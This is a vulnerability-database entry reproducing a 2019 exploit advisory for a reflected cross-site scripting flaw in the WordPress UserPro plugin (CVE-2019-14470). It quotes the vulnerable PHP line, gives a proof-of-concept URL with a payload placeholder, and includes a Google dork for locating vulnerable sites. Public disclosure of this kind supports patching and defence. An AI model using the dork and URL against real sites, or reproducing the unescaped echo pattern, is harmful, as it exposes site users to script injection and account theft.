Lucene search
K

WordPress UserPro 4.9.32 Plugin - Cross-Site Scripting Vulnerability

🗓️ 26 Aug 2019 00:00:00Reported by Damian EbeltiesType 
zdt
 zdt
🔗 0day.today👁 62 Views

WordPress UserPro 4.9.32 Plugin Cross-Site Scripting Vulnerabilit

Related
Code
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

    > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation